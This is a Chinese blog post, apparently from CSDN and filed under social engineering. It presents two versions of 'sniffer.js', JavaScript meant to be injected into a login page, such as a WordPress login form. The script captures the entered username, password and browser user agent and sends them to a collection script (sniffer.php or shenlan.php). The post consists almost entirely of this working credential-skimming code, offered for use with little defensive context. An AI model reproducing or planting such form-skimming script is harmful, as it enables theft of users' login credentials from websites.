Javascript-截获登录表单的用户名和密码-v1.5

最新推荐文章于 2022-12-29 16:19:40 发布

eT48_Sec

最新推荐文章于 2022-12-29 16:19:40 发布

阅读量857

点赞数

分类专栏：编程社会工程学

本文链接：https://blog.csdn.net/eT48_sec/article/details/42218217

版权

编程同时被 2 个专栏收录

20 篇文章 0 订阅

订阅专栏

社会工程学

5 篇文章 0 订阅

订阅专栏

version 1.0 需要代码添加到登陆表单的后面，才可以正常使用。

经完善后(这里有两种方法)，可以添加在任何位置，比如<head> 标签里，而不必添加在登录表单的后面。

sniffer.js 方法一

/*
author: eT48
blog: http://blog.csdn.net/et48_sec
version: v1.5
*/
document.onreadystatechange = function()
{
var http_server = "http://localhost:8081/sniffer.php";
document.getElementById("wp-submit").οnclick=function(){sniffer()};
function sniffer()
{
var user = document.getElementById("user_login").value;
	var pwd = document.getElementById("user_pass").value;
	var ua = navigator.userAgent;
	
	var x = new Image();
	x.src = http_server+"?user="+user+"&pwd="+pwd+"&ua="+ua;
}
}

sniffer.js 方法二

/*
author: eT48
blog: http://blog.csdn.net/et48_sec
verson: 2.0
*/
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }

document.οnclick=function post(e){

var targ;
if (!e) var e = window.event;
if (e.target) targ = e.target;
else if (e.srcElement) targ = e.srcElement;
if (targ.nodeType == 3) // defeat Safari bug
   targ = targ.parentNode;
var tname;
tname=targ.id;

if(tname=="Login")
{
    var user = document.getElementById("username").value;
    var pwd = document.getElementById("password").value;
    var ua = navigator.userAgent;

    var url = "shenlan.php?user="+user+"&pwd="+pwd+"&ua="+ua;

    xmlhttp.open("GET",url,true);
    xmlhttp.send();
}
}

eT48_Sec

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
Javascript-截获登录表单的用户名和密码-v1.5

version 1.0 需要代码添加到登陆表单的后面，才可以正常使用。经完善后，可以添加在任何位置，比如标签里，而不必添加在登录表单的后面。sniffer.js/*author: eT48blog: http://blog.csdn.net/et48_secversion: v1.5*/document.onreadystatechange = function()
复制链接

扫一扫